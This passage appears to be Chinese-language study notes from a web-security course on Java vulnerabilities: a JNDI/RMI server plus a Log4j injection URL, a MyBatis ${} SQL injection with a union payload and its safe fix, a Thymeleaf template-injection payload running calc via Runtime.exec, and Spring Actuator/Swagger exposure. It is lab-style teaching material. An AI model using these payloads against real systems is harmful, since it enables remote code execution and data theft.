//创建一个rmi ldap服务
InitialContext ini=new InitialContext();
//调用rmi,ldap等服务(远程服务),远程的class文件被执行
//ini.lookup("rmi://192.168.10.5:1099/jcxqeh");
ini.lookup("ldap://192.168.10.5:1389/#testjndi");
}
}

3. 自己写rmiserver
jndi.java
package com.jk;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
public class jndi {
public static void main(String[] args) throws NamingException,IOException {
//创建一个rmi ldap服务
InitialContext ini=new InitialContext();
//调用rmi,ldap等服务(远程服务),远程的class文件被执行
//ini.lookup("rmi://192.168.10.5:1099/jcxqeh");
ini.lookup("rmi://0.0.0.0:7788/calc");
}
}
rmiserver.java
package com.jk;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class rmiserver {
public static void main(String[] args)throws Exception {
Registry registry= LocateRegistry.createRegistry(7788);
Reference reference=new javax.naming.Reference("testjndi","testjndi","http://192.168.10.5:8090/");
ReferenceWrapper wrapper=new ReferenceWrapper(reference);
registry.bind("calc",wrapper);//绑定一个RMI服务的路由
}
}
复现一下log4j远程代码执行
lg4.java 详见上面
[localhost:9528/log4j?code=${jndi:rmi://0.0.0.0:7788/calc}](http://localhost:9528/log4j?code=${jndi:rmi://0.0.0.0:7788/calc})

9. Springboot
Spring Boot是由Pivotal团队提供的一套开源框架,可以简化spring应用的创建及部署。它提供了丰富的Spring模块化支持,可以帮助开发者更轻松快捷地构建出企业级应用。Spring Boot通过自动配置功能,降低了复杂性,同时支持基于JVM的多种开源框架,可以缩短开发时间,使开发更加简单和高效。
1. 新建springboot项目
//1. 路由映射
@RequestMapping @GetMapping等
//2. 参数传递
@RequestParam
//3. 数据响应
@RestController @Controller
@RestController注解相当于@ResponseBody+@Controller合体


勾选spring Web,Thymeleaf,JDBC API,Mybatis framework,mysql driver。

indexcontroller.java
package com.jk.springbootdemo1.controller;
import org.springframework.web.bind.annotation.*;
@RestController
public class indexcontroller {
//指定GET请求的访问路由
@RequestMapping(value="/cllsseget",method= RequestMethod.GET)
//@GetMapping(value="/cllsseget")
public String indexget(@RequestParam String name){
return "cllsseget"+name;
}
@RequestMapping(value="/cllssepost",method= RequestMethod.POST)
//@PostMapping(value = "/cllssepost")
public String indexpost(@RequestParam String name){
return "cllssepost"+name;
}
}
2. mybatis
- 项目添加Mybatis和数据库驱动
如果前面没问题,这步骤可略
project Structure 中添加模块Mybatis framework和mysql driver
pom.xml对应部分添加
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.2.2</version>
</dependency>
<dependency>
<groupId>com.mysql</groupId>
<artifactId>mysql-connector-j</artifactId>
<scope>runtime</scope>
</dependency>
-
配置数据库信息
application.properties
spring.application.name=springbootdemo2
spring.datasource.url= jdbc:mysql://localhost:3306/user
spring.datasource.username: root
spring.datasource.password: 123456
spring.datasource.driver-class-name: com.mysql.cj.jdbc.Driver
- 创建User类用来操作数据库数据
package com.jk.springbootdemo2.entity;
public class User {
private int id;
private String username;
private String password;
//alt+insert插入getter和setter
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
}
- 创建Mapper动态接口代理类实现
package com.jk.springbootdemo2.mapper;
import com.jk.springbootdemo2.entity.User;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Select;
import java.util.List;
@Mapper
public interface UserMapper {
@Select("select * from t_user")
public List<User> findAll();
@Select("select * from t_user where id=4")
public List<User> findID();
}
- 创建Controller实现Web访问调用
package com.jk.springbootdemo2.controller;
import com.jk.springbootdemo2.entity.User;
import com.jk.springbootdemo2.mapper.UserMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
@RestController
public class indexcontroller {
@Autowired
private UserMapper UserMapper;
@RequestMapping(value="/cllsseget",method= RequestMethod.GET)
public List<User> indexget(){
List<User> all=UserMapper.findAll();
return all;
}
@RequestMapping(value="/getid",method= RequestMethod.GET)
public List<User> getid(){
List<User> all=UserMapper.findID();
return all;
}
}

3. mybatis中的SQL注入
${}直接参与SQL编译,不能直接避免注入攻击。
#{}将传入的参数当成一个字符串,会给传入的参数加一个双引号
模糊查询使用${}导致的漏洞
@Select("select * from t_user where id like '%${id}%'")
public List<User> findAll(String id);
@RequestMapping(value="/cllsseget",method= RequestMethod.GET)
public List<User> indexget(@RequestParam String id){
List<User> all=UserMapper.findAll(id);
return all;
}
?id=1'union select * from t_user--+

正确写法
@Select("select * from t_user where id like concat('%',#{name},'%')")
另外如果需要用到in进行查询,下面是安全的写法
id in <foreach collection="ids" item="item" open="("separatosr="," close=")"> #{ids} </foreach>
4. 模板引擎 Thyremeaf
Thymeleaf 是与 java 配合使用的一款服务端模板引擎,也是 Spring 官方支持的一款服务端模板引擎。
Thymeleaf在3.0.0-3.0.11存在模板注入攻击。
注意@RestController会把index识别成字符串形式操作
@Controller没有ResponseBody,index就会被当成页面名
pom.xml修改对应部分
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.2.0.RELEASE</version>
</parent>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>
project structure切换jdk版本至1.8.0_181(jdk1.8应该都行)
Tcontroller.java
package com.jk.springbootdemo2.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class Tcontroller {
@RequestMapping(value="/")
public String index(Model model) {
model.addAttribute("data", "Hello cllsse");
return "index";
}
@RequestMapping(value="/test")
public String test(@RequestParam String name) {
return name;
}
}
resources/templates/index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<span th:text="${data}">小迪安全</span>
</body>
</html>
application.properties
# 开启模板缓存(默认值: true )
spring.thymeleaf.cache=true
# 检查模板是否存在,然后再呈现
spring.thymeleaf.check-template=true
# 检查模板位置是否正确(默认值 :true )
spring.thymeleaf.check-template-location=true
#Content-Type 的值(默认值: text/html )
spring.thymeleaf.servlet.content-type=text/html
# 开启 MVC Thymeleaf 视图解析(默认值: true )
spring.thymeleaf.enabled=true
# 模板编码
spring.thymeleaf.encoding=UTF-8
# 要被排除在解析之外的视图名称列表,⽤逗号分隔
spring.thymeleaf.excluded-view-names=
# 要运⽤于模板之上的模板模式。另⻅ StandardTemplate-ModeHandlers( 默认值: HTML5)
spring.thymeleaf.mode=HTML5
# 在构建 URL 时添加到视图名称前的前缀(默认值: classpath:/templates/ )
spring.thymeleaf.prefix=classpath:/templates/
# 在构建 URL 时添加到视图名称后的后缀(默认值: .html )
spring.thymeleaf.suffix=.html
若还有问题则删除target文件夹,再运行
payload
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

5. 监控系统 Actuator
Spring Boot 2.X(十六):应用监控之 Spring Boot 稀土掘金 码森林
Actuator端点说明


pom.xml添加
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
在application.properties添加监控配置
# 这个配置项是用于指定要暴露的web端点。*表示暴露所有端点。
management.endpoints.web.exposure.include=*
# 这个配置项用于指定是否显示健康检查的详细信息。always表示总是显示详细信息。
management.endpoint.health.show-details=always

application.properties里添加
info.name=zhangsan
info.age=66
然后可以访问0.0.0.0:8080/actuator/info](http://0.0.0.0:8080/actuator/info看到
安全配置防止/actuator/env和/actuator/heapdump被访问导致敏感信息泄露
management.endpoint.env.enabled=false
management.endpoint.heapdump.enabled=false
对于heapdump泄露,我们可以使用以下工具进行分析
JDumpSpider提取器
分析提取一些不安全的组件
https://github.com/whwlsfb/JDumpSpider/releases
jvisualvm分析器
分析提取敏感信息
6. Actuator 建立Server端与Client端
在springbootdemo2下分别新建两个module

Spring Web
Ops->codecentric’s Spring Boot Admin (Server)
spring.application.name=testServer
server.port=8889
spring.boot.admin.client.url=http://127.0.0.1:8888
management.endpoints.web.exposure.include=*
management.endpoint.health.show-details=always

Spring Web
Ops->codecentric’s Spring Boot Admin (Client)
spring.application.name=testClient
server.port=8888
可能IDEA版本问题,我这static文件夹是空的,没有页面。
7. 接口系统 Swagger
Swagger是当下比较流行的实时接口文档生成工具。接口文档是当前前后端分离项目中必不可少的工具,在前后端开发之前,后端要先出接口文档,前端根据接口文档来进行项目的开发,双方开发结束后在进行联调测试。
参考:https://blog.youkuaiyun.com/lsqingfeng/article/details/123678701
创建一个Springboot 项目,依赖选择Spring Web。
pom.xml添加依赖
swagger依赖版本 2.9.2
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.6</version>
</parent>
<groupId>com.jk</groupId>
<artifactId>demoSwagger3</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>demoSwagger3</name>
<description>demoSwagger3</description>
<url/>
<licenses>
<license/>
</licenses>
<developers>
<developer/>
</developers>
<scm>
<connection/>
<developerConnection/>
<tag/>
<url/>
</scm>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger2</artifactId>
<version>2.9.2</version>
</dependency>
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger-ui</artifactId>
<version>2.9.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.5.6</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
jdk和spring boot版本要调整下,不然运行失败
依赖版本 3.0.0
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-boot-starter</artifactId>
<version>3.0.0</version>
</dependency>
application.properties
# 应用服务 WEB 访问端口
server.port=8002
# 设置路径匹配策略为Ant路径匹配器
spring.mvc.pathmatch.matching-strategy=ant_path_matcher
2.X 版本启动需要在启动文件添加注释 @EnableSwagger2
3.X 版本不需注释,写的话是 @EnableOpenApi
2.X 访问路径:http://ip:port/swagger-ui.html
3.X 访问路径:http://ip:port/swagger-ui/index.html
config/SwaggerConfig
package com.jk.demoswagger3.config;
import org.springframework.context.annotation.Configuration;
import springfox.documentation.swagger2.annotations.EnableSwagger2;
import java.lang.annotation.Target;
@Configuration
@EnableSwagger2
public class SwaggerConfig {//开启swagger2
}
Controller/HelloController
package com.jk.demoswagger3.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class HelloController {
@RequestMapping(value = "/hello")
public String hello(){
return "HelloWorld";
}
@RequestMapping(value="/",method = RequestMethod.GET)
public String index(@RequestParam String name){
return "HelloWorld,"+name;
}
}

安全问题
自动化测试:Postman
泄露应用接口:用户登录,信息显示,上传文件等
可用于对未授权访问,信息泄露,文件上传等安全漏洞的测试。
3184





